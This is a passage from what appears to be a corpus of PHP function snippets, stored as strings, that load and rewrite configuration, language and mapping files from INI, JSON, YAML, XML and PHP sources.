$arrReplace));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public static function load()\n {\n $files = glob(BASEDIR . '/config/*.php');\n foreach ($files as $file){\n $key = str_replace('.php', '', basename($file));\n static::$values[$key] = include $file;\n }\n }", "protected function loadFilePath($filepath)\n {\n if ($filepaths = $this->files($filepath)) {\n foreach ($filepaths as $file) {\n $contents = file_get_contents($file);\n\n preg_match_all('/^default: (.*)$/Um', $contents, $default);\n $default = $default[1];\n\n preg_match_all('/^replace: (.*)$/Um', $contents, $replace);\n $replace = $replace[1];\n\n if ($default) {\n if (count($default) == count($replace)) {\n $this->translations = array_merge($this->translations, array_combine($default, $replace));\n } else {\n throw new \\PhorkException(sprintf('The %s language file %s has mismatched definitions and replacements', $this->language, basename($file)));\n }\n }\n }\n }\n }", "public function loadMappings($filepath);", "private function load()\n {\n if ($this->sites) {\n return;\n }\n $data = Yaml::parse(file_get_contents($this->file));\n $this->sites = $data['sites'];\n }", "public abstract function loadConfig($fileName);", "abstract protected function loadConfig();", "function loadSite($file, $tryCache=true, $replace=false) {\n\n // if we dont have a reader yet, make it\n if ($this->cfgReader == NULL) {\n global $SM_rootDir;\n $this->cfgReader = SM_loadConfigReader('SMCONFIG', $this, $SM_rootDir.SM_SMCONFIG_READER_FILE);\n }\n\n // set replace\n $this->cfgReader->addDirective('replace',$replace);\n $tryCache = $tryCache && $this->cfgReader->useCache(); \n\n if ($tryCache) {\n\n // XXX this may not return the correct results if you have two different config objects that load the \n // same base file, and then the same consecutive file where one objects uses replace and one doesn't\n // we never do that so i'm ignoreing that case\n $this->fileLoadList .= $file;\n if (xcache_isset($this->fileLoadList)) {\n $this->debugLog(\"loading cached xsm file: {$this->fileLoadList}\");\n $this->sectionList = unserialize(xcache_get($this->fileLoadList));\n if ($this->sectionList)\n return;\n // if we get here, we couldn't unserialize, so fall through\n }\n\n }\n\n // fall through. either caching is off, cache didn't exist, or cache was stale\n // read in config, setting my properties at the same time\n $this->cfgReader->readConfigXML($file);\n \n // should we cache the config file?\n if ($tryCache) {\n xcache_set($this->fileLoadList, serialize($this->sectionList), $this->cfgReader->directive['cacheTTL']);\n }\n\n }", "function __replace_cfgs($text, $type, $ul = 'main')\n{\n\n preg_match_all('~(?<!\\[)\\[[^\\]]+\\]~sim', $text, $matches);\n\n if (!empty($matches[0])) {\n\n $matches = $matches[0];\n\n foreach ($matches as $match) {\n\n $cr = substr($match, 1, -1);\n\n if ($type == 0)\n $cr = get_text($cr, $ul, $match);\n else if ($type == 1)\n $cr = get_config($cr, $ul, $match);\n\n $text = str_replace($match, $cr, $text);\n }\n }\n\n return stripslashes($text);\n}", "function config_load() {\n\t\t$config_camera = '/^\\s*([^:]+)\\s*:\\s*([0-9a-f]{2})[:-]?([0-9a-f]{2})[:-]?([0-9a-f]{2})[:-]?([0-9a-f]{2})[:-]?([0-9a-f]{2})[:-]?([0-9a-f]{2})\\s+(\\d+)\\s*x\\s*(\\d+)\\s*$/iu';\n\t\t$config_gate = '/^\\s*(.+)\\s*\\((\\d+)\\s*,\\s*(\\d+)\\)\\s*\\((\\d+),(\\d+)\\)\\s*$/u';\n\n\t\t$data = file(CONFIG_PATH);\n\t\tif ($data === NULL) {\n\t\t\treturn array();\n\t\t}\n\n\t\t$config = array();\n\n\t\t$status = 0;\n\t\tfor ($n=0; $n<sizeof($data); $n++) {\n\t\t\t$str = $data[$n];\n\t\t\n\t\t\tif (preg_match($config_camera, $str, $matches)) {\n\t\t\t\t$name = trim($matches[1]);\n\t\t\t\t$hw_id = $matches[2].$matches[3].$matches[4].$matches[5].$matches[6].$matches[7];\n\t\t\t\t$width = $matches[8];\n\t\t\t\t$height= $matches[9];\n\n\t\t\t\t$gates = array();\n\t\t\t\tarray_push($config, \n\t\t\t\t\t\t array(\"hw\" => $hw_id, \n\t\t\t\t\t\t \"name\" => $name, \n\t\t\t\t\t\t\t\t \"gates\" => &$gates,\n\t\t\t\t\t\t\t\t \"width\" => $width,\n\t\t\t\t\t\t\t\t \"height\"=> $height));\n\t\t\t\t$status = 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($status == 1 && preg_match($config_gate, $str, $matches)) {\n\t\t\t\tarray_push($gates, array(\"name\"=>trim($matches[1]),\n\t\t\t\t\t\t\t\t\t\t \"x1\" =>$matches[2],\n\t\t\t\t\t\t\t\t\t\t \"y1\" =>$matches[3],\n\t\t\t\t\t\t\t\t\t\t \"x2\" =>$matches[4],\n\t\t\t\t\t\t\t\t\t\t \"y2\" =>$matches[5]));\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\treturn $config;\n\t}", "public static function loadConfig($configFile) {\n\t}", "private function loadHookConfig() {\r\n if (!is_readable(self::CONFIG_FILE)) {\r\n throw new \\Slackbot\\Exception\\ConfigException('Missing config file ' . self::CONFIG_FILE);\r\n }\r\n \r\n $config = parse_ini_file(self::CONFIG_FILE, true);\r\n\t\tforeach ($config as $sectionName => $settings) {\r\n\t\t\tif (isset($settings['token'])) {\r\n\t\t\t\tforeach ($this->hooks as $hookName => $hook) {\r\n\t\t\t\t\tif ($hookName === $sectionName) {\r\n\t\t\t\t\t\t$hook->addTokens((array)$settings['token']);\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "protected function registerConfigurations()\n {\n try {\n\n $auth = file_get_contents(config_path('auth.php'));\n\n $data_map = $this->parseName();\n\n /********** Guards **********/\n\n $guards = file_get_contents($this->stub_path . '/config/guards.stub');\n\n // compile stub...\n $guards = strtr($guards, $data_map);\n\n $guards_bait = \"'guards' => [\";\n\n $auth = str_replace($guards_bait, $guards_bait . $guards, $auth);\n\n /********** Providers **********/\n\n $providers = file_get_contents($this->stub_path . '/config/providers.stub');\n\n // compile stub...\n $providers = strtr($providers, $data_map);\n\n $providers_bait = \"'providers' => [\";\n\n $auth = str_replace($providers_bait, $providers_bait . $providers, $auth);\n\n /********** Passwords **********/\n\n $passwords = file_get_contents($this->stub_path . '/config/passwords.stub');\n\n // compile stub...\n $passwords = strtr($passwords, $data_map);\n\n $passwords_bait = \"'passwords' => [\";\n\n $auth = str_replace($passwords_bait, $passwords_bait . $passwords, $auth);\n\n // Overwrite config file\n file_put_contents(config_path('auth.php'), $auth);\n\n } catch (Exception $ex) {\n throw new \\RuntimeException($ex->getMessage());\n }\n }", "function loadIniFiles()\n {\n \n $ff = HTML_FlexyFramework::get();\n $ff->generateDataobjectsCache(true);\n $this->dburl = parse_url($ff->database);\n \n \n $dbini = 'ini_'. basename($this->dburl['path']);\n \n \n $iniCache = isset( $ff->PDO_DataObject) ? $ff->PDO_DataObject['schema_location'] : $ff->DB_DataObject[$dbini];\n if (!file_exists($iniCache)) {\n return;\n }\n \n $this->schema = parse_ini_file($iniCache, true);\n $this->links = parse_ini_file(preg_replace('/\\.ini$/', '.links.ini', $iniCache), true);\n \n\n \n }", "private function loadIni(){\n if(file_exists($this->fullPath.$this->iniFile)) {\n $arCfg = parse_ini_file($this->fullPath.$this->iniFile);\n $this->loadConfigs($arCfg);\n }\n }", "function sumac_load_new_strings()\n{\n//*** new file system for user override strings was not adopted - old system used for new packages\n\n//this creates a javascript user-override list for the new generation packages' text strings\n\tif (isset($_SESSION['sumac_override_text_js']) === false)\n\t{\n\t\t$error_level = error_reporting();\n\t\t$new_level = error_reporting($error_level ^ E_WARNING);\n\t\t$strings = file_get_contents(SUMAC_USER_FOLDER . '/' . 'over_sumac.strings',true);\n\t\t$error_level = error_reporting($error_level);\n\n\t\tif (trim($strings) == '') return '';\n\t\t$stringArray = explode('|',$strings);\n\t\t$_SESSION['sumac_override_text_js'] = 'var sumac_override_sids = [';\n//that starts the javascript array variable ...\n\t\tfor ($i = 0; $i < (count($stringArray)+1); $i = $i + 3)\n\t\t{\n\t\t\t$said = trim($stringArray[$i]);\n\t\t\t//ignore the middle element on each line\n\t\t\tif (($i+2) < count($stringArray)) $sastr = $stringArray[$i+2]; else $sastr = '';\n\t\t\tif ($said == '') continue;\n\t\t\tif ($sastr == '') continue;\n\t\t\t$_SESSION['sumac_override_text_js'] .= '{id:\"'.$said.'\",str:\"'.$sastr.'\"},';\n// ... and that adds each replacement id+str set to it ...\n\t\t}\n\t\t$_SESSION['sumac_override_text_js'] .= '];';\n// ... and that closes the array off.\n\t}\n}", "public function replace(array $config) : ConfigInterface;", "function load_configs($file, $is_global = true)\n{\n\n if (substr($file, -5) != '.json') {\n throw new Exception('Invalid config file found in configs folder.');\n }\n\n $fname = strtolower(substr(basename($file), 0, - (strlen('.json'))));\n\n $GLOBALS[\"__CONFIG__{$fname}__\"] = json_decode(file_get_contents($file), true);\n}", "function replace_in_config($name_var, $value)\n{\n\t\n\t$source = file_get_contents('includes/config.php');\n\t$value_formatted = var_export($value, true);\n\t$replace = \"\\n\\$\" . $name_var . \" = \" . $value_formatted . \";\";\n\t\n\t$new_source = preg_replace('#\\n\\$' . $name_var . '(.*?)\\;#s', \n\t\t\t\t \"$replace\", $source);\n\n\tif ($handle = @fopen('includes/config.php', 'w')) {\n\t\tfwrite($handle, $new_source);\n\t\tfclose($handle);\n\t\treturn TRUE;\n\t}\n\telse\n\t\treturn FALSE;\n}", "private function LoadConfigFile(){\n $a = file_get_contents($this->RootDIR . 'config/main.json');\n $this->Config = json_decode($a, true);\n }", "abstract protected function _loadMappingFile($file);", "abstract protected function _loadMappingFile($file);", "public static function load()\n {\n $entries = Configuration::get();\n \n foreach ($entries as $entry) {\n self::$config[$entry->id] = unserialize($entry->value);\n }\n }", "abstract protected function loadSettings();", "protected function loadConfig() {\n $json = new JSON();\n $viewConfig = $json->readFile(__SITE_PATH . \"\\\\config\\\\view.json\");\n $this->meta_info = $viewConfig['meta'];\n $this->js_files = $viewConfig['javascript'];\n $this->css_files = $viewConfig['css'];\n }", "private function loadSmarty()\n {\n }", "protected function loadConfigsForRegister(): void\n {\n $shipConfigs = $this->getConfigsFromShip();\n $containersConfigs = $this->getConfigsFromContainers();\n\n $configs = array_merge($shipConfigs, $containersConfigs);\n\n foreach ($configs as $file){\n $filename = pathinfo($file, PATHINFO_FILENAME);\n $this->mergeConfigFrom($file, $filename);\n }\n }", "public function loadConfig($data);", "abstract protected function loadConfiguration($name);", "private function load_settings() {\n\t\t\n\t}", "public function load()\n {\n $ini = APP_DIR.'config/'.ENVIRONMENT.'.ini';\n\n if(!file_exists($ini))\n Clockwork::throwError('Could not load config ('.$ini.')');\n\n $this->data = parse_ini_file($ini, true);\n \n $this->setValues();\n }", "protected static function loadSingleExtLocalconfFiles() {}", "function loadFromDatabase(){\n global $DB;\n $resource = $DB->config->get();\n $list = array();\n while($row = $DB->fetchAssoc($resource))\n {\n if(!isset($this->sections[$row['section']])) $this->sections[$row['section']] = new ConfigSection($row['section']);\n $this->sections[$row['section']]->registerFromDatabase($row);\n }\n }", "private function _config()\n\t{\n\t\t// Get the base path for the smarty base directory\n\t\t$basePath\t= $this->getBasePath();\n\t\t$configFile\t= $this->getConfigFile();\n\t\t\n\t\tif (null === $basePath){\n\t\t\tthrow new Exception('No view base path specified');\n\t\t}\n\t\t\n\t\tif (null === $configFile){\n\t\t\tthrow new Exception('No config file specified');\n\t\t}\n\t\t\n\t\t// Generate the path to the view xml config file\n\t\tif ( file_exists(Package::buildPath( $basePath , $configFile)) ) {\n\t\t\t$viewBuildFile = Package::buildPath( $basePath , $configFile);\n\t\t} else {\n\t\t\tthrow new Exception(\"Unable to find config file: \" . $configFile);\n\t\t}\n\t\t \n\t\t// Load the config file\n\t\tif (! $viewXml = Zend_Registry::get('site_config_cache')->load('view_config') ) {\n\t\t\ttry {\n\t\t\t\t$xmlSection = (defined('BUILD_ENVIRONMENT')) ? BUILD_ENVIRONMENT : strtolower($_SERVER['SERVER_NAME']);\n\t\t\t\t$viewXml = new Zend_Config_Xml($viewBuildFile, $xmlSection);\n\t\t\t\tZend_Registry::get('site_config_cache')->save($viewXml, 'view_config');\n\t\t\t} catch (Zend_Exception $e) {\n\t\t\t\tthrow new Exception( 'There was a problem caching the config file: ' . $e->getMessage() );\n\t\t\t}\n\t\t}\n\t\tunset($viewBuildFile, $xmlSection);\n\t\t\n\t\t\n\t\t// Alias' replacements\n\t\t$replacements = array(\n ':baseDir' => $basePath\n ); \n\t\t\n $params = str_replace(array_keys($replacements), array_values($replacements), $viewXml->smarty->params->toArray());\n\n\t\t// Set the base smarty parameters\n\t\t$this->setParams($params);\n\t\t\n\t\t// Register plugins\n\t\t/*\n\t\tif (isset($viewXml->smarty->plugins)){\n\t\t\t$plugins\t= $viewXml->smarty->plugins->toArray();\n\t\t\t\n\t\t\t// Loop each plugin entry\n\t\t\tforeach($plugins as $key => $plugin)\n\t\t\t{\n\t\t\t\t// Check if a plugin type has been specified\n\t\t\t\tif (isset($plugin['type'])){\n\t\t\t\t\tswitch($plugin['type'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'resource':\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t$methodArgs\t= array(\n\t\t\t\t\t\t\t\t\t$key . '_get_source',\n\t\t\t\t\t\t\t\t\t$key . '_get_timestamp',\n\t\t\t\t\t\t\t\t\t$key . '_get_secure',\n\t\t\t\t\t\t\t\t\t$key . '_get_trusted'\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$methodArgs\t= (is_array($plugin['parameters'])) ? $plugin['parameters'] : array();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t//$methodName\t= 'register_' . $plugin['type'];\n\t\t\t\t\t//$this->_setSmartyMethod($methodName, array($key, $methodArgs));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t*/\n\t\t\n\t}", "function loadSiteReplace($file, $tryCache=true) {\n $this->loadSite($file, $tryCache, true);\n }", "public function loadConfig($file) {\n $config = array();\n if (file_exists(PATH_CONFIGS . $file))\n include(PATH_CONFIGS . $file);\n if (!empty($config)) {\n foreach ($config as $name => $array) {\n $this->configs[$name] = $array;\n }\n }\n }", "function configurationLoad() {\n\t\tglobal $podserver_config_map;\n\t\t$item_idx = 0;\n\t\tunset($this->itemsConfiguration);\n\t\t$this->itemsConfiguration = array();\n\t\t// load the configuration details for each item in the map\n\t\tforeach ($podserver_config_map as $itemToConfigure){\n\t\t\t// get the configuration variable by indirection ($$)\n\t\t\tglobal $$itemToConfigure[0];\n\t\t\t// get the label for the item in the correct language by indirection ($$)\n\t\t\t$label_item_variable = 'label_'.$itemToConfigure[0];\n\t\t\tglobal $$label_item_variable;\n\t\t\tif ($$label_item_variable == '') $$label_item_variable = '$'.$label_item_variable;\n\t\t\tif (isset($_SESSION['lang']) && $_SESSION['lang'] == 'debug') $$label_item_variable = '$'.$label_item_variable;\n\t\t\t// get the help for the item in the correct language by indirection ($$)\n\t\t\t$help_item_variable = 'help_'.$itemToConfigure[0];\n\t\t\tglobal $$help_item_variable;\n\t\t\tif (isset($_SESSION['lang']) && $_SESSION['lang'] == 'debug') $$help_item_variable = '$'.$help_item_variable;\n\t\t\t// get the title for the item in the correct language by indirection ($$)\n\t\t\t$title_item_variable = 'title_'.$itemToConfigure[0];\n\t\t\tglobal $$title_item_variable;\n\t\t\t// show title variable name for language debug\n\t\t\tif (isset($_SESSION['lang']) && $_SESSION['lang'] == 'debug') $$title_item_variable = '$'.$title_item_variable;\n\t\t\t// get the default value from configuration map if no value found for the item in the configuration file\n\t\t\tif ($$itemToConfigure[0] == '') $$itemToConfigure[0] = $itemToConfigure[4];\n\t\t\t// load the item with all datas (map, value, title and label)\n\t\t\t$this->itemsConfiguration[] = new ItemConfiguration(\n\t\t\t\t\t\t\t$itemToConfigure[0],\n\t\t\t\t\t\t\t$itemToConfigure[1],\n\t\t\t\t\t\t\t$itemToConfigure[2],\n\t\t\t\t\t\t\t$itemToConfigure[3],\n\t\t\t\t\t\t\t$$itemToConfigure[0],\n\t\t\t\t\t\t\t$itemToConfigure[5],\n\t\t\t\t\t\t\t$$label_item_variable,\n\t\t\t\t\t\t\t$$title_item_variable,\n\t\t\t\t\t\t\t$$help_item_variable\n\t\t\t\t\t\t\t);\t\t\t\n\t\t}\n\t}", "function loadConfig(){\n $file = file_get_contents($this->config_dir, FILE_USE_INCLUDE_PATH);\n $urls = json_decode($file,TRUE);\n //not the best way but error handling\n if ($file == NULL || $urls == NUll ){\n print(\"Error reading the config file or it it is empty\");\n }\n else{\n $this->config_data = $urls;\n\n }\n }", "public static function config($_file) {\n\t\t// Generate hash code for config file\n\t\t$_hash='php.'.self::hashCode($_file);\n\t\t$_cached=Cache::cached($_hash);\n\t\tif ($_cached && filemtime($_file)<$_cached['time'])\n\t\t\t// Retrieve from cache\n\t\t\t$_save=gzinflate(Cache::fetch($_hash));\n\t\telse {\n\t\t\tif (!file_exists($_file)) {\n\t\t\t\t// .ini file not found\n\t\t\t\tself::$global['CONTEXT']=$_file;\n\t\t\t\ttrigger_error(self::TEXT_Config);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// Map sections to framework methods\n\t\t\t$_map=array('global'=>'set','routes'=>'route','maps'=>'map');\n\t\t\t// Read the .ini file\n\t\t\tpreg_match_all(\n\t\t\t\t'/\\s*(?:\\[(.+?)\\]|(?:;.+?)*|(?:([^=]+)=(.+?)))(?:\\v|$)/s',\n\t\t\t\t\tfile_get_contents($_file),$_matches,PREG_SET_ORDER\n\t\t\t);\n\t\t\t$_cfg=array();\n\t\t\t$_ptr=&$_cfg;\n\t\t\tforeach ($_matches as $_match) {\n\t\t\t\tif ($_match[1]) {\n\t\t\t\t\t// Section header\n\t\t\t\t\tif (!isset($_map[$_match[1]])) {\n\t\t\t\t\t\t// Unknown section\n\t\t\t\t\t\tself::$global['CONTEXT']=$_section;\n\t\t\t\t\t\ttrigger_error(self::TEXT_Section);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\t$_ptr=&$_cfg[$_match[1]];\n\t\t\t\t}\n\t\t\t\telseif ($_match[2]) {\n\t\t\t\t\t$_csv=array_map(\n\t\t\t\t\t\tfunction($_val) {\n\t\t\t\t\t\t\t// Typecast if necessary\n\t\t\t\t\t\t\treturn is_numeric($_val) ||\n\t\t\t\t\t\t\t\tpreg_match('/^(TRUE|FALSE)\\b/i',$_val)?\n\t\t\t\t\t\t\t\t\teval('return '.$_val.';'):$_val;\n\t\t\t\t\t\t},\n\t\t\t\t\t\tstr_getcsv($_match[3])\n\t\t\t\t\t);\n\t\t\t\t\t// Convert comma-separated values to array\n\t\t\t\t\t$_match[3]=count($_csv)>1?$_csv:$_csv[0];\n\t\t\t\t\tif (preg_match('/(.+?)\\[(.*?)\\]/',$_match[2],$_sub)) {\n\t\t\t\t\t\tif ($_sub[2])\n\t\t\t\t\t\t\t// Associative array\n\t\t\t\t\t\t\t$_ptr[$_sub[1]][$_sub[2]]=$_match[3];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t// Numeric-indexed array\n\t\t\t\t\t\t\t$_ptr[$_sub[1]][]=$_match[3];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t// Key-value pair\n\t\t\t\t\t\t$_ptr[$_match[2]]=$_match[3];\n\t\t\t\t}\n\t\t\t}\n\t\t\tob_start();\n\t\t\tforeach ($_cfg as $_section=>$_pair) {\n\t\t\t\t$_func=$_map[$_section];\n\t\t\t\tforeach ($_pair as $_key=>$_val)\n\t\t\t\t\t// Generate PHP snippet\n\t\t\t\t\techo 'F3::'.$_func.'('.\n\t\t\t\t\t\tvar_export($_key,TRUE).','.\n\t\t\t\t\t\t($_func=='set' || !is_array($_val)?\n\t\t\t\t\t\t\tvar_export($_val,TRUE):self::listArgs($_val)).\n\t\t\t\t\t');'.\"\\n\";\n\t\t\t}\n\t\t\t$_save=ob_get_contents();\n\t\t\tob_end_clean();\n\t\t\t// Compress and save to cache\n\t\t\tCache::store($_hash,gzdeflate($_save));\n\t\t}\n\t\t// Execute cached PHP code\n\t\teval($_save);\n\t\tif (self::$global['ERROR'])\n\t\t\t// Remove from cache\n\t\t\tCache::remove($_hash);\n\t}", "protected function loadSettings() {}", "protected function loadSettings() {}", "protected function loadSettings() {}", "protected function load()\n {\n $this->translations = array();\n \n if ($this->language) {\n if ($this->cachepath) {\n if (file_exists($cache = $this->cachepath.'/'.$this->language.'.php')) {\n $this->translations = include($cache);\n }\n } else {\n if (!empty($this->filepaths)) {\n foreach ($this->filepaths as $filepath) {\n $this->loadFilePath($filepath);\n }\n }\n }\n }\n }", "function load_texts($file)\n{\n\n if (substr($file, -5) != '.json') {\n throw new Exception('Invalid language file found in language folder.');\n }\n\n $fname = strtolower(substr(basename($file), 0, - (strlen('.json'))));\n\n $GLOBALS[\"__LANGUAGE__{$fname}__\"] = json_decode(file_get_contents($file), true);\n}", "public function load_config() {\n if (!isset($this->config)) {\n $name = $this->get_name();\n $this->config = get_config(\"local_$name\");\n }\n }", "private function load_config_file($file) {\n\n\t\t$file = PATH_THIRD.'dm_eeck/config/'.$file;\n\n\t\tif(file_exists($file)) {\n\t\t\trequire($file);\n\t\t\tif(isset($editor_config)) {\n\t\t\t\treturn $editor_config;\n\t\t\t}\n\t\t}\n\n\t\treturn '';\n\t}", "private function load_config_file($file) {\n\n\t\t$file = PATH_THIRD.'dm_eeck/config/'.$file;\n\n\t\tif(file_exists($file)) {\n\t\t\trequire($file);\n\t\t\tif(isset($editor_config)) {\n\t\t\t\treturn $editor_config;\n\t\t\t}\n\t\t}\n\n\t\treturn '';\n\t}", "function replacevars($arrSubstitutes)\n {\n foreach($arrSubstitutes as $var=>$value)\n {\n $this->template = str_replace('<!--['.strtoupper($var).']-->',$value,$this->template);\n }\n \n }", "abstract public function loadConfig(array $config);", "function LoadConfiguration()\r\n\t{\r\n\t\t$cinfFilePath = Site::GetConfigFilePath ();\r\n\t\t$config = simplexml_load_file ( $cinfFilePath );\r\n\t\t\r\n\t\t// load languages\r\n\t\tif (isset ( $config->languages ))\r\n\t\t{\r\n\t\t\t$langs = ( array ) $config->languages;\r\n\t\t\t$langsA = $langs ['language'];\r\n\t\t\t\r\n\t\t\tif (! is_array ( $langsA ))\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t$linkID = ( string ) $langsA->linkID;\r\n\t\t\t\t$linkName = ( string ) $langsA->linkName;\r\n\t\t\t\t$this->m_languages [$linkID] = $linkName;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tforeach ( $langsA as $lang )\r\n\t\t\t\t{\r\n\t\t\t\t\t$linkID = ( string ) $lang->linkID;\r\n\t\t\t\t\t$linkName = ( string ) $lang->linkName;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->m_languages [$linkID] = $linkName;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$langKes = array_keys ( $this->m_languages );\r\n\t\t\t$this->m_languageDefault = $langKes [0];\r\n\t\t}\r\n\t\t\r\n\t\t// load templates\r\n\t\tif (isset ( $config->templates ))\r\n\t\t{\r\n\t\t\t$templates = ( array ) $config->templates;\r\n\t\t\t$langsA = $templates ['template'];\r\n\t\t\t\r\n\t\t\tif (! is_array ( $langsA ))\r\n\t\t\t{\r\n\t\t\t\t$this->m_templates = null;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->m_templates = array ();\r\n\t\t\t\t\r\n\t\t\t\tforeach ( $langsA as $lang )\r\n\t\t\t\t{\r\n\t\t\t\t\t$fileName = ( string ) $lang;\r\n\t\t\t\t\tarray_push ( $this->m_templates, $fileName );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// load siteURL\r\n\t\tif (isset ( $config->url ))\r\n\t\t{\r\n\t\t\t$this->m_URL = ( string ) $config->url;\r\n\t\t\t$this->m_URL = trim ( $this->m_URL );\r\n\t\t}\r\n\t\t\r\n\t\t// load siteURL\r\n\t\tif (isset ( $config->maxImageWidth ))\r\n\t\t{\r\n\t\t\t$this->m_maxImageWidth = ( int ) $config->maxImageWidth;\r\n\t\t}\r\n\t\t\r\n\t\t// secuirity-file root\r\n\t\tif (isset ( $config->securFolder ))\r\n\t\t{\r\n\t\t\t$this->m_sfRoot = ( string ) $config->securFolder;\r\n\t\t\t$this->m_sfRoot = trim ( $this->m_sfRoot );\r\n\t\t}\r\n\t\t\r\n\t\t// boxes\r\n\t\tif (isset ( $config->boxes ))\r\n\t\t{\r\n\t\t\t$boxes = ( array ) $config->boxes;\r\n\t\t\t$boxes = $boxes ['box'];\r\n\t\t\tif (! is_array ( $boxes ))\r\n\t\t\t{\r\n\t\t\t\t$this->m_boxes = array ($boxes );\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->m_boxes = $boxes;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// product image root\r\n\t\tif (isset ( $config->productImageRoot ))\r\n\t\t{\r\n\t\t\t$str = ( string ) $config->productImageRoot;\r\n\t\t\t$this->m_prodImagRoot = trim ( $str );\r\n\t\t}\r\n\t\t\r\n\t\t// product image root\r\n\t\tif (isset ( $config->galleryRoot ))\r\n\t\t{\r\n\t\t\t$str = ( string ) $config->galleryRoot;\r\n\t\t\t$this->m_galleryImageRoot = trim ( $str );\r\n\t\t}\r\n\t\t\r\n\t\treturn true;\r\n\t}", "public static function load($mapName)\n {\n\n foreach (Conf::$confPath as $path) {\n\n if (!$this->source)\n $menuPath = $path.'/menu/'.$this->name.'/';\n else\n $menuPath = $path.'/menu/'.$this->source.'/';\n\n if (!file_exists($menuPath))\n continue;\n\n $folder = new LibFilesystemFolder($menuPath);\n\n foreach ($folder->getFiles() as $file)\n include $file->getName(true);\n\n // break after found data\n break;\n }\n\n }", "abstract protected function loadConfig(array $config);", "function load_script_translations($file, $handle, $domain)\n {\n }", "private function loadConfig()\n {\n $this->category->config = [];\n $this->loadMeta('admins', 'array');\n $this->loadMeta('members', 'array');\n $this->loadMeta('template');\n $this->loadMeta('category', 'array');\n //$this->loadMetaCategory();\n $this->loadInitScript();\n }", "protected function loadLocalization() {}", "private function _get_translations_from_file () {\n\n\t\t$lang = file_exists(self::DIR_LANGS . $this->lang . '.php')\n\t\t\t\t\t? $this->lang : $this->_default_lang;\n\n\t\trequire self::DIR_LANGS . $lang . '.php';\n\n\t\treturn $t;\n\n\t}", "private function loadConfig()\n {\n\n $this->config = include(__DIR__ . '/../../config/config.php');\n\n }", "public static function loadEditArea($cfg)\n {\n $document = JFactory::getDocument();\n $document->addScript(JURI::root(true).$cfg['path'].'/'.$cfg['type']);\n\n $translates = array('txt' => 'brainfuck'\n , 'pot' => 'po');\n\n// if(array_key_exists($cfg['syntax'], $translates))\n $syntax =(array_key_exists($cfg['syntax'], $translates)) ? $translates[$cfg['syntax']] : $cfg['syntax'];\n\n// $syntax =(in_array($cfg['syntax'], $translates)) ? $cfg['syntax'] : 'brainfuck';\n\n $debug =(ECR_DEBUG) ? ',debug: true'.NL : '';\n\n $js = <<<EOF\n <!-- **************** -->\n <!-- **** load **** -->\n <!-- *** EditArea *** -->\n <!-- **************** -->\n editAreaLoader.init({\n id : \"{$cfg['textarea']}\"\n ,syntax: \"$syntax\"\n ,start_highlight: true\n ,replace_tab_by_spaces: 3\n ,end_toolbar: 'html_select, autocompletion'\n ,plugins: \"html, autocompletion\"\n ,autocompletion: true\n ,font_size: {$cfg['font-size']}\n // ,is_multi_files: true\n $debug\n });\nEOF;\n\n $document->addScriptDeclaration($js);\n\n ecrScript('editor');\n }", "protected function loadMappingFile($file)\n {\n return Yaml::parse(file_get_contents($file));\n }", "public function load() {\n // Load settings\n\t $this->lookup_title = $this->getProjectSetting('lookup-title');\n\t $this->lookup_header = $this->getProjectSetting('lookup-header');\n\t $this->lookup_field = $this->getProjectSetting('lookup-field');\n\t $this->lookup_event_id = $this->getProjectSetting('lookup-event-id');\n\t $this->validate_mrn = $this->getProjectSetting('validate-mrn');\n\t $this->found_action = $this->getProjectSetting('found-action');\n\t $this->repeating_event_id = $this->getProjectSetting('repeating-event-id');\n\t $this->repeating_form_name = $this->getProjectSetting('repeating-form-name');\n\t $this->is_loaded = true;\n }", "function _parse() {\n $file = $this->_get_file();\n $search = array();\n $replace = array();\n $i = 0;\n foreach($this->_keys as $key => $value) {\n $search[$i] = $value;\n $replace[$i] = $this->_vals[$key];\n if(is_object($replace[$i])) {\n $replace[$i] = $replace[$i]->get_string();\n }\n ++$i;\n }\n return str_replace($search, $replace, $file);\n }", "function loadPage($pageName, $replaceMap)\n{\n $sPath = getPagePath($pageName);\n $f = @fopen($sPath, \"rt\");\n if($f)\n {\n $s = fread($f, filesize($sPath)+1);\n fclose($f);\n\n while(list($from,$to) = each($replaceMap))\n $s = str_replace($from, $to, $s);\n\n return $s;\n }\n else\n {\n return \"\";\n }\n}", "protected function loadConfigsFromPackage(): void\n {\n $packageConfigs = $this->getConfigsFromPackage();\n foreach ($packageConfigs as $file){\n $filename = pathinfo($file, PATHINFO_FILENAME);\n $this->mergeConfigFrom($file, $filename);\n }\n }", "function pi_loadLL($file=null)\t{\n\t\tif (!$this->LOCAL_LANG_loaded && $this->scriptRelPath &&!$file)\t{\n\t\t\t$basePath = PATH_site . t3lib_extMgm::siteRelPath($this->extKey).dirname($this->scriptRelPath).'/locallang.php';\n\t\t\tif 